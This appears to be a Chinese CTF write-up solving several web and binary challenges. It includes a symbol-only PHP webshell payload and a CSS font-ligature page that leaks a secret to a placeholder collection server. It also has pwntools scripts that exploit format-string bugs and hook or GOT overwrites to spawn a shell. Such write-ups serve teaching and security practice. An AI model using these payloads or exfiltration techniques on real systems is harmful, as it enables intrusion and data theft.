各种尝试后,发现可以利用缓存将 xff 头处的 self-xss 转为存储型 xss。
https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
SECOND BLOOD
这个题目充满了出题人的恶趣味。没用的代码和注释实在太多了,我第一次感受到原来注释多也挺惹人烦的。其主要就两个功能:
重点在于绕过它的各种限制,其对于文件有如下限制:
['.', './', '~', '.\\', '#', '<', '>']
中的任意一个字符preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
处理。在include文件前,其还有一个限制:
$read_file = "./files/" . $this->filename; $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true); /* path_sanitizer(true)会把所有的/和\替换为空: foreach(["/", "\\"] as $f){ $dir = str_replace($f, "", $dir); } */ if($read_file === $read_file_with_hardened_filter || @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){ return ["msg" => "request blocked", "type" => "error"]; }
如果它是Linux服务器的话,很显然,直接上传一个文件名为bb\
的文件就能绕过限制。但这题不行。经过对一些特殊字符(如下)的测试,发现这是一台Windows机器。
对于Windows的文件读取,有一个小Trick:使用FindFirstFile
这个API的时候,其会把"
解释为.
。意即:shell"php
=== shell.php
。
因此,回到这题来。我们上传一个文件,名字设为test
。然后,通过"/test
即可读取。此时:
$read_file = "./files/./test"; $read_file_with_hardened_filter = "./files/.test"; file_get_contents($read_file) = '实际文件内容'; file_get_contents($read_file_with_hardened_filter) = false //文件不存在
至此,即绕过了文件名的限制。
至于文件内容的限制,更为简单了。
参考 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html ,编写payload如下:
<?=$_=[]?><?=$_=@"$_"?><?=$___=$_['!'!='@']?><?=$____=$_[('!'=='!')+('!'=='!')+('!'=='!')]?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="_"?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____=$__?><?=$__=''?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_="."?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_=$____?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$_++?><?=$__.=$_?><?=$_____($__)?>
其用 <?=?>
替代分号,最后运行的是file_get_contents('flag.php')
,就能出结果了。
FIRST BLOOD
挺无聊的一个 CMS 审计题目。我还是第一次见到能有一个CMS 的开发者允许用户自己定义allow_file_ext
的。
并且存在一个免验证的文件上传接口:
然后就没有然后了。
注意到docker-compose.yml
里把网卡设置为了外网地址。联想到 WordPress 的 xml-rpc 修复了各种内网SSRF,猜想就是通过 xml-rpc 打外网从而拿到 flag。于是直接用 xml-rpc 打就 ok。
FIRST BLOOD
非常明显,唯一的输出点只有skin,但此输出点过滤掉了 < > " '
很显然,我们只能用 CSS 搞事情了。那第一步是如何执行我们需要的任意 CSS。
根据 CSS 标准:https://www.w3.org/TR/css-syntax-3/#error-handling
CSS 会忽略所有的不正确的语法,就像这些东西从来没有存在过一样。因此,我们只需要换行,就可以让整个import 无效。
让我们再往下看一下,CSS 如何换行:https://www.w3.org/TR/css-syntax-3/#newline-diagram
其支持:%0a、%0d、%0f。%0a 会被Web服务器吃掉,因此使用 %0d 和 %0f 都可以逃逸出@import,从而实现执行任意 CSS 样式。
仔细读一下源码,就会发现,我们这题的目标是拿到这儿的 secret。
大家都知道,CSS 可以很容易地匹配到 attr,但是提取 content 就比较难了。CSS3 标准曾经有“:content”伪类,不过后来被删除,没进入正式标准,也没有浏览器支持它。因此,要得到这个值,只能使用一些Side-channel的非常规手段。CSS 的话,包括动画、字体等都是比较有效的侧信道攻击方案。不过,对于动画,我暂时想不到什么比较合适的方案;但是字体则可以利用“连字(Ligature)”进行侧信道。
我最早的思路是:
@font-face { font-family: ligature; src: url(xxxxx); } @font-face { font-family: normal; src: url(xxxxx); } script { display: block; font-family: "ligature", "normal"; }
构造一个连字字体,这个字体内只有“xctf”四个字符,如果浏览器只加载了这个字体,未加载normal字体,则证明页面内存在且仅存在“xctf”这四个字符。否则,则会加载normal字体。后发现该思路不对,因为script标签内字符实在太多,无法这么处理。
在这之后,我进行了一番搜索。查找到相关的一篇波兰语文章(别问我怎么搜到的.jpg):https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/ 。
这篇文章的大致思路是:
background: url()
发送请求。不过,原文的payload过于复杂,利用了包括缓存、二分爆破等一系列技术,实在是不好利用,我也没跑通。因此,我自己基于文章内提供的fontforge脚本重新写了一份payload。
首先是需要一个Nodejs Server(同原文),这个Server用于动态生成字体:
script.fontforge:
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")
index.js
➜ cat index.js const express = require('express'); const app = express(); // Serwer ExprssJS domyślnie dodaje nagłówek ETag, // ale nam nie jest to potrzebne, więc wyłączamy. app.disable('etag'); const PORT = 23460; const js2xmlparser = require('js2xmlparser'); const fs = require('fs'); const tmp = require('tmp'); const rimraf = require('rimraf'); const child_process = require('child_process'); // Generujemy fonta dla zadanego przedrostka // i znaków, dla których ma zostać utworzona ligatura. function createFont(prefix, charsToLigature) { let font = { "defs": { "font": { "@": { "id": "hack", "horiz-adv-x": "0" }, "font-face": { "@": { "font-family": "hack", "units-per-em": "1000" } }, "glyph": [] } } }; // Domyślnie wszystkie możliwe znaki mają zerową szerokość... let glyphs = font.defs.font.glyph; for (let c = 0x20; c <= 0x7e; c += 1) { const glyph = { "@": { "unicode": String.fromCharCode(c), "horiz-adv-x": "0", "d": "M1 0z", } }; glyphs.push(glyph); } console.log(prefix + (charsToLigature).toString()) // ... za wyjątkiem ligatur, które są BARDZO szerokie. charsToLigature.forEach(c => { const glyph = { "@": { "unicode": prefix + c, "vert-adv-y": "10000", "horiz-adv-x": "10000", "d": "M0 10000,v 0 10000z", } } glyphs.push(glyph); }); // Konwertujemy JSON-a na SVG. const xml = js2xmlparser.parse("svg", font); // A następnie wykorzystujemy fontforge // do zamiany SVG na WOFF. const tmpobj = tmp.dirSync(); fs.writeFileSync(`${tmpobj.name}/font.svg`, xml); child_process.spawnSync("/usr/bin/fontforge", [ `${__dirname}/script.fontforge`, `${tmpobj.name}/font.svg` ]); const woff = fs.readFileSync(`${tmpobj.name}/font.woff`); // Usuwamy katalog tymczasowy. rimraf.sync(tmpobj.name); // I zwracamy fonta w postaci WOFF. return woff; } // Endpoint do generowania fontów. app.get("/font/:prefix/:charsToLigature", (req, res) => { const { prefix, charsToLigature } = req.params; // Dbamy o to by font znalazł się w cache'u. res.set({ 'Cache-Control': 'public, max-age=600', 'Content-Type': 'application/font-woff', 'Access-Control-Allow-Origin': '*', }); res.send(createFont(prefix, Array.from(charsToLigature))); }); app.listen(PORT, () => { console.log(`Listening on ${PORT}...`); })
index.html:
<script> //const chars = ['t','f'] const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('') let ff = [], data = '' let prefix = 'xctf{dobra_robota_jestes_mistrzem_CSS}' chars.forEach(c => { var css = '' css = '?theme=../../../../\fa{}){}' css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://xxxx:23459/?${encodeURIComponent(prefix+c)})}` css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://xxxxx:23460/font/${prefix}/${c});}` css += `script{font-family:a${c.charCodeAt()};display:block}` document.write('<iframe scrolling=yes samesite src="http://noxss.cal1.cn:60080/account/userinfo?theme=' + encodeURIComponent(css) + '" style="width:1000000px" onload="event.target.style.width=\'100px\'"></iframe>') }) </script>
原理:
把这个页面的URL直接交给bot,即可接收到一位的flag。之后逐位爆破即可。效果如图:
感谢r3kapig的大佬们带来的精彩比赛
看了流量才找到洞。。
加密函数:
add_round_key((__int64)v15, v9, 0); for ( k = 1; k < round; ++k ) { if ( k == 8 ) v15[v7] ^= v8; //!!! subBytes((__int64)v15); shiftRows((__int64)v15); mixColums((__int64)v15); add_round_key((__int64)v15, v9, k); } subBytes((__int64)v15); shiftRows((__int64)v15); add_round_key((__int64)v15, v9, round);
可以看到这里有个v15[v7] ^= v8
,v7
和v8
是传进来的参数,然而在解密函数里可以覆盖到这两个的值,于是可以利用这个把
────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────── RAX 0x20 RBX 0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */ RCX 0xc0 RDX 0x7fff5b1ae910 ◂— 0xaa63df0da959514d RDI 0x7fff5b1ae910 ◂— 0xaa63df0da959514d RSI 0x20 R8 0x20 R9 0x10 R10 0x0 R11 0x10 R12 0x0 R13 0x7fff5b1aeac0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fff5b1ae970 —▸ 0x7fff5b1ae9c0 —▸ 0x7fff5b1ae9e0 —▸ 0x56105a45f340 ◂— push r15 RSP 0x7fff5b1ae910 ◂— 0xaa63df0da959514d RIP 0x56105a45f004 ◂— mov byte ptr [rdx + rax], cl ─────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────── ► 0x56105a45f004 mov byte ptr [rdx + rax], cl 0x56105a45f007 mov rax, qword ptr [rbp - 0x20] 0x56105a45f00b mov rdi, rax 0x56105a45f00e call 0x56105a45e886 0x56105a45f013 mov rax, qword ptr [rbp - 0x20] 0x56105a45f017 mov rdi, rax 0x56105a45f01a call 0x56105a45e6b5 0x56105a45f01f mov rax, qword ptr [rbp - 0x20] 0x56105a45f023 mov rdi, rax 0x56105a45f026 call 0x56105a45e4b9 0x56105a45f02b movzx edx, byte ptr [rbp - 0x29] ──────────────────────────────────────────────[ STACK ]────────────────────────────────────────────── 00:0000│ rdx rdi rsp 0x7fff5b1ae910 ◂— 0xaa63df0da959514d 01:0008│ 0x7fff5b1ae918 ◂— 0x62bfb8152eb4f9cb 02:0010│ rbx 0x7fff5b1ae920 ◂— 0x8362000000020 /* ' ' */ 03:0018│ 0x7fff5b1ae928 —▸ 0x56105acb10b0 ◂— 0xb9a433d31f71aaa1 04:0020│ 0x7fff5b1ae930 —▸ 0x56105a6613e0 ◂— 0xfcca81e5fb28c9b3 !!!! 05:0028│ 0x7fff5b1ae938 —▸ 0x56105a6613d0 ◂— 0x34b1fca7a4f6bb23 06:0030│ 0x7fff5b1ae940 ◂— 0x80404ff5b1ae970
我标感叹号的那个地址指向key
,后续的操作会把key
值修改,最后还会把加密后的内容输出,输出的内容和key
是一样的,这样就拿到了key
了,但是要加密一样的字符串两次才可以,对密码学这个不是很熟悉,误打误撞吧,我太菜了
from pwn import *
context.arch='amd64'
def cmd(command):
p.recvuntil(">",timeout=0.5)
p.sendline(command)
def main(host,port=9999):
global p
if host:
p = remote(host,port)
else:
p = process("./origin_fault")
gdb.attach(p)
# debug(0x0000000000003004)
cmd('e')
p.sendline("00"*0x10)
cmd('e')
p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
cmd('d')
payload1 = "5658a9ced4f5415d3e85e2e879d464405658a9ced4f5415d3e85e2e879d46440"
payload2 = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
p.sendline(payload1)
p.sendline(payload2)
cmd('e')
p.sendline("cafebabedeadbeefcafebabedeadbeef".decode('hex'))
p.recvuntil("e:encryp",drop=True)
p.recvuntil(">")
key = p.recvuntil("e:encryp",drop=True)
info(key)
cmd('s')
p.sendline(key)
flag = p.recv(0x3c,timeout=0.5)
info(flag)
p.interactive()
if __name__ == "__main__":
main(args['REMOTE'])
第二天说没有流量了。。。。。其实内心是有点慌的
只找到了两个漏洞
一个是login
函数的堆溢出
v14 = __readfsqword(0x28u); src = 0LL; printf("please enter user token length : "); size = get_int(); if ( size <= 0xFF ) { printf("please enter user token: "); token = malloc(size); read_n(token, 0x100uLL); strcpy(dest, ROOM_PATH); n = strlen(dest);
另一个是play from console
的show
有个格式化字符串
unsigned __int64 sub_243B() { char buf; // [rsp+10h] [rbp-110h] unsigned __int64 v2; // [rsp+118h] [rbp-8h] v2 = __readfsqword(0x28u); puts("We will receive input from the terminal"); printf("E.g :"); read(0, &buf, 0x100uLL); printf(&buf, &buf); return __readfsqword(0x28u) ^ v2; }
我用的是这里的格式化字符串,一开始修的时候把printf
改成了puts
,check
没过,改成了printf("%s",buf);
,还是没过,赛后问了阿鹏师傅,应该改为write(1,buf,strlen(buf));
这样的,orz
格式化字符串的exp
为
from pwn import * context.arch='amd64' def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) gdb.attach(p,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(p,"b *{}".format(hex(addr))) def cmd(command): p.recvuntil(">>> ",timeout=0.5) p.sendline(str(command)) def fmtstr(offset, addr, data, written): cnt = 0 payload = '' address = '' for x in data: cur = ord(x) if cur >= written&0xff: to_add = cur - (written&0xff) else: to_add = 0x100 + cur - (written&0xff) round = '' if to_add != 0: round += "%{}c".format(to_add) round += "%{}$hhn".format(offset+cnt+len(data)*2) assert(len(round) <= 0x10) written += to_add + 0x10 - len(round) payload += round.ljust(0x10, '_') address += p64(addr+cnt) cnt+=1 return payload + address def ca(tl,t,nl,n,pl,pa): cmd(1) p.recvuntil("please enter user token length : ") p.sendline(str(tl)) p.recvuntil("please enter user token: ") p.sendline(t) p.recvuntil("please enter user name length : ") p.sendline(str(nl)) p.recvuntil("please enter user name: ") p.sendline(n) p.recvuntil("please enter user password length : ") p.sendline(str(pl)) p.recvuntil("please enter user password: ") p.sendline(pa) def login(tl,t,pl,pa): cmd(0) p.recvuntil("please enter user token length : ") p.sendline(str(tl)) p.recvuntil("please enter user token: ") p.sendline(t) p.recvuntil("please enter user password length : ") p.sendline(str(pl)) p.recvuntil("please enter user password : ") p.sendline(pa) def add_pl(type): cmd(0) cmd(type) def show(idx): cmd(2) p.recvuntil("index : ") p.sendline(str(idx)) def main(host,port=9999): global p if host: p = remote(host,port) else: p = process("./hannota") # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"}) # gdb.attach(p) debug(0x00000000000024A1) ca(0x20,"AA",0x20,"AA",0x20,"AA") ca(0x20,"AA",0x20,"AA",0x20,"AA") login(0x20,"AA",0x20,"AA") add_pl(0) show(0) p.recvuntil("E.g :") p.sendline("%p%p-%p-%p-%p-%p-%p%p%p%p%p*%p*") p.recvuntil('-') libc.address = int(p.recvuntil("-",drop=True),16)-0x110081 info("libc : " + hex(libc.address)) p.recvuntil('*') stack = int(p.recvuntil("*",drop=True),16) info("stack : " + hex(stack)) ret_addr = stack+0x8 payload = fmtstr(8,ret_addr,p64(libc.address+0x4f2c5)[:6],0) show(0) p.recvuntil("E.g :") p.send(payload) sleep(0.1) p.sendline("cat flag") p.recv(timeout=0.5) flag = p.recvuntil("\n",timeout=0.5) info(flag) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) main(args['REMOTE'])
逐渐变难的一题
libc
里的任意函数call
,参数还是可控的,那自然就system("/bin/sh")
和execve("/bin/sh",0,0)
了from pwn import * context.arch='amd64' def cmd(command): p.recvuntil(">",timeout=0.5) p.sendline(command) def main(host,port=9999): global p if host: p = remote(host,port) else: p = process("./pwn") # p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"}) gdb.attach(p) # debug(0x0000000000000A69) p.recvuntil("binary_base=") elf.address = int(p.recvuntil("\n",drop=True),16) info("elf : " + hex(elf.address)) p.recvuntil("libc_base=") libc.address = int(p.recvuntil("\n",drop=True),16) info("libc : " + hex(libc.address)) p.recvuntil("stack_base=") stack = int(p.recvuntil("\n",drop=True),16) info("stack : " + hex(stack)) for i in range(4): p.recvuntil("Addr:") p.sendline(str(stack)) p.recvuntil("Value:") p.sendline(str(1)) p.recvuntil("Addr:") p.sendline(str(elf.address+0x203210)) p.recvuntil("Value:") p.sendline(str(u64('/bin/sh\x00'))) p.recvuntil("Trigger!") # system # p.sendline("system") # p.sendline("1") # p.sendline(str(stack+0x54)) # execve p.sendline("execve") p.sendline("3") p.sendline(str(stack+0x54)) p.sendline("0") p.sendline("0") p.sendline("cat flag") p.recv(timeout=0.5) flag = p.recvuntil("\n",timeout=0.5) info(flag) p.interactive() if __name__ == "__main__": libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False) elf = ELF("./pwn",checksec=False) main(args['REMOTE'])
libc
任意函数call
,但是参数不可控,那就写那些hook
吧,__free_hook
,__malloc_hook
,__memalign_hook
,__realloc_hook
都试一试这里贴个__free_hook
的,其它的类似
p.recvuntil("Addr:") p.sendline(str(libc.symbols["__free_hook"])) p.recvuntil("Value:") p.sendline(str(libc.address+0x10a38c)) p.recvuntil("Trigger!") p.sendline("free") p.sendline("0\x00"+"\x00"*90) p.sendline("cat flag") p.recv(timeout=0.5) flag = p.recvuntil("\n",timeout=0.5) info(flag)
for ( i = 0; (unsigned __int64)i < 2; ++i )
{
puts("Addr:");
v3 = (_QWORD *)sub_DB1();
puts("Value:");
v4 = sub_DB1();
sub_1498(v3, v4);
}
if ( !dlopen("libc.so.6", 1) )
{
v5 = dlerror();
fprintf(stderr, "%s\n", v5);
exit(1);
}
因为dlopen
会调用malloc
函数,所以就修改__malloc_hook
和__realloc_hook
来getshell
p.recvuntil("Addr:") p.sendline(str(libc.symbols["__realloc_hook"])) p.recvuntil("Value:") p.sendline(str(libc.address+0x10a38c)) p.recvuntil("Addr:") p.sendline(str(libc.symbols["__malloc_hook"])) p.recvuntil("Value:") p.sendline(str(libc.symbols["realloc"]+8))
for ( i = 0; (unsigned __int64)i < 1; ++i )
{
puts("Addr:");
v3 = (_QWORD *)sub_DB1();
puts("Value:");
v4 = sub_DB1();
sub_1498(v3, v4);
}
if ( !dlopen("libc.so.6", 1) )
{
v5 = dlerror();
fprintf(stderr, "%s\n", v5);
exit(1);
}
我在_dlerror_run
里找到了call _dl_catch_error@plt
0x7ff6fbcf6726 <_dlerror_run+86> lea rdi, [rbx + 0x10] 0x7ff6fbcf672a <_dlerror_run+90> mov r8, r12 0x7ff6fbcf672d <_dlerror_run+93> mov rcx, rbp ► 0x7ff6fbcf6730 <_dlerror_run+96> call _dl_catch_error@plt <0x7ff6fbcf5d90> rdi: 0x7ff6fbef80f0 (last_result+16) ◂— 0x0 rsi: 0x7ff6fbef80f8 (last_result+24) ◂— 0x0 rdx: 0x7ff6fbef80e8 (last_result+8) ◂— 0x0 rcx: 0x7ff6fbcf5f40 (dlopen_doit) ◂— push rbx
既然是plt
的话,那就可以修改GOT
表来劫持流程了
► 0x7ff6fbcf5d90 <_dl_catch_error@plt> jmp qword ptr [rip + 0x2022a2] <0x7ff6fbef8038> 0x7ff6fbcf5d96 <_dl_catch_error@plt+6> push 4 0x7ff6fbcf5d9b <_dl_catch_error@plt+11> jmp 0x7ff6fbcf5d40 ↓ 0x7ff6fbcf5d40 push qword ptr [rip + 0x2022c2] <0x7ff6fbef8008> 0x7ff6fbcf5d46 jmp qword ptr [rip + 0x2022c4] <0x7ff6fba0e38c> pwndbg> telescope 0x5f4010+0x7f3cf530b000 00:0000│ 0x7f3cf58ff010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f3cf5917750 (_dl_runtime_resolve_xsavec)
可以看到有两处地方都用到了GOT
表,所以都试一试改为one_gadget
,结果本地都不行,但是打远程的时候通了,打通的是把_dl_runtime_resolve_xsavec
的GOT
改为one_gadget
,这运气没谁了,晚上回去的时候又去试了下本地,居然又可以了。。。
p.recvuntil("Addr:") p.sendline(str(libc.address+0x5f4010)) p.recvuntil("Value:") p.sendline(str(libc.address+0x10a38c))
这题的话还是看 丁佬 的github
吧,膜丁佬。